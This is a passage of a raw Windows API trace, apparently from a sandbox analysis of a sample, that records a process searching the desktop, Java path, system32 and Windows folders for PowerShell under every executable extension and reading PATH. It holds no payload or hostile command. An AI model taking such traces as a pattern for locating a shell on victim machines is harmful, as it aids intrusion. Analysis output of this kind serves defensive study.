dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.378] GetFileAttributesExW (in: lpFileName="powershell.vbs" (normalized: "c:\\users\\oqxzraykm\\desktop\\powershell.vbs"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.378] CreateFileW (lpFileName="powershell.vbs" (normalized: "c:\\users\\oqxzraykm\\desktop\\powershell.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.378] GetFileAttributesExW (in: lpFileName="powershell.vbe" (normalized: "c:\\users\\oqxzraykm\\desktop\\powershell.vbe"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.379] CreateFileW (lpFileName="powershell.vbe" (normalized: "c:\\users\\oqxzraykm\\desktop\\powershell.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.379] GetFileAttributesExW (in: lpFileName="powershell.js" (normalized: "c:\\users\\oqxzraykm\\desktop\\powershell.js"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.379] CreateFileW (lpFileName="powershell.js" (normalized: "c:\\users\\oqxzraykm\\desktop\\powershell.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.379] GetFileAttributesExW (in: lpFileName="powershell.jse" (normalized: "c:\\users\\oqxzraykm\\desktop\\powershell.jse"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.379] CreateFileW (lpFileName="powershell.jse" (normalized: "c:\\users\\oqxzraykm\\desktop\\powershell.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.379] GetFileAttributesExW (in: lpFileName="powershell.wsf" (normalized: "c:\\users\\oqxzraykm\\desktop\\powershell.wsf"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.379] CreateFileW (lpFileName="powershell.wsf" (normalized: "c:\\users\\oqxzraykm\\desktop\\powershell.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.379] GetFileAttributesExW (in: lpFileName="powershell.wsh" (normalized: "c:\\users\\oqxzraykm\\desktop\\powershell.wsh"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.379] CreateFileW (lpFileName="powershell.wsh" (normalized: "c:\\users\\oqxzraykm\\desktop\\powershell.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.379] GetFileAttributesExW (in: lpFileName="powershell.msc" (normalized: "c:\\users\\oqxzraykm\\desktop\\powershell.msc"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.379] CreateFileW (lpFileName="powershell.msc" (normalized: "c:\\users\\oqxzraykm\\desktop\\powershell.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.380] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0xc000a2cf70, nSize=0x64 | out: lpBuffer="") returned 0xf1 [0202.380] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0xc000946400, nSize=0xf1 | out: lpBuffer="") returned 0xf0 [0202.380] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\powershell.com" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\powershell.com"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.381] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\powershell.com" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\powershell.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.381] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\powershell.exe" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\powershell.exe"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.381] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\powershell.exe" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\powershell.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.381] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\powershell.bat" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\powershell.bat"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.381] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\powershell.bat" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\powershell.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.382] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\powershell.cmd" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\powershell.cmd"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.382] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\powershell.cmd" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\powershell.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.382] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\powershell.vbs" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\powershell.vbs"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.382] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\powershell.vbs" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\powershell.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.382] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\powershell.vbe" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\powershell.vbe"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.382] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\powershell.vbe" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\powershell.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.382] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\powershell.js" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\powershell.js"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.382] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\powershell.js" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\powershell.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.383] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\powershell.jse" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\powershell.jse"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.383] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\powershell.jse" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\powershell.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.383] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\powershell.wsf" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\powershell.wsf"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.383] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\powershell.wsf" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\powershell.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.383] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\powershell.wsh" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\powershell.wsh"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.383] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\powershell.wsh" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\powershell.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.383] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\powershell.msc" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\powershell.msc"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.384] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\powershell.msc" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\powershell.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.384] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\powershell.com" (normalized: "c:\\windows\\system32\\powershell.com"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.384] CreateFileW (lpFileName="C:\\Windows\\system32\\powershell.com" (normalized: "c:\\windows\\system32\\powershell.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.384] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\powershell.exe" (normalized: "c:\\windows\\system32\\powershell.exe"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.384] CreateFileW (lpFileName="C:\\Windows\\system32\\powershell.exe" (normalized: "c:\\windows\\system32\\powershell.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.384] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\powershell.bat" (normalized: "c:\\windows\\system32\\powershell.bat"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.384] CreateFileW (lpFileName="C:\\Windows\\system32\\powershell.bat" (normalized: "c:\\windows\\system32\\powershell.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.385] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\powershell.cmd" (normalized: "c:\\windows\\system32\\powershell.cmd"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.385] CreateFileW (lpFileName="C:\\Windows\\system32\\powershell.cmd" (normalized: "c:\\windows\\system32\\powershell.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.387] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\powershell.vbs" (normalized: "c:\\windows\\system32\\powershell.vbs"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.387] CreateFileW (lpFileName="C:\\Windows\\system32\\powershell.vbs" (normalized: "c:\\windows\\system32\\powershell.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.387] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\powershell.vbe" (normalized: "c:\\windows\\system32\\powershell.vbe"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.387] CreateFileW (lpFileName="C:\\Windows\\system32\\powershell.vbe" (normalized: "c:\\windows\\system32\\powershell.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.388] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\powershell.js" (normalized: "c:\\windows\\system32\\powershell.js"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.388] CreateFileW (lpFileName="C:\\Windows\\system32\\powershell.js" (normalized: "c:\\windows\\system32\\powershell.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.389] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\powershell.jse" (normalized: "c:\\windows\\system32\\powershell.jse"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.389] CreateFileW (lpFileName="C:\\Windows\\system32\\powershell.jse" (normalized: "c:\\windows\\system32\\powershell.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.389] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\powershell.wsf" (normalized: "c:\\windows\\system32\\powershell.wsf"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.389] CreateFileW (lpFileName="C:\\Windows\\system32\\powershell.wsf" (normalized: "c:\\windows\\system32\\powershell.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.389] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\powershell.wsh" (normalized: "c:\\windows\\system32\\powershell.wsh"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.389] CreateFileW (lpFileName="C:\\Windows\\system32\\powershell.wsh" (normalized: "c:\\windows\\system32\\powershell.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.389] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\powershell.msc" (normalized: "c:\\windows\\system32\\powershell.msc"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.389] CreateFileW (lpFileName="C:\\Windows\\system32\\powershell.msc" (normalized: "c:\\windows\\system32\\powershell.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.389] GetFileAttributesExW (in: lpFileName="C:\\Windows\\powershell.com" (normalized: "c:\\windows\\powershell.com"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.390] CreateFileW (lpFileName="C:\\Windows\\powershell.com" (normalized: "c:\\windows\\powershell.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.390] GetFileAttributesExW (in: lpFileName="C:\\Windows\\powershell.exe" (normalized: "c:\\windows\\powershell.exe"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | 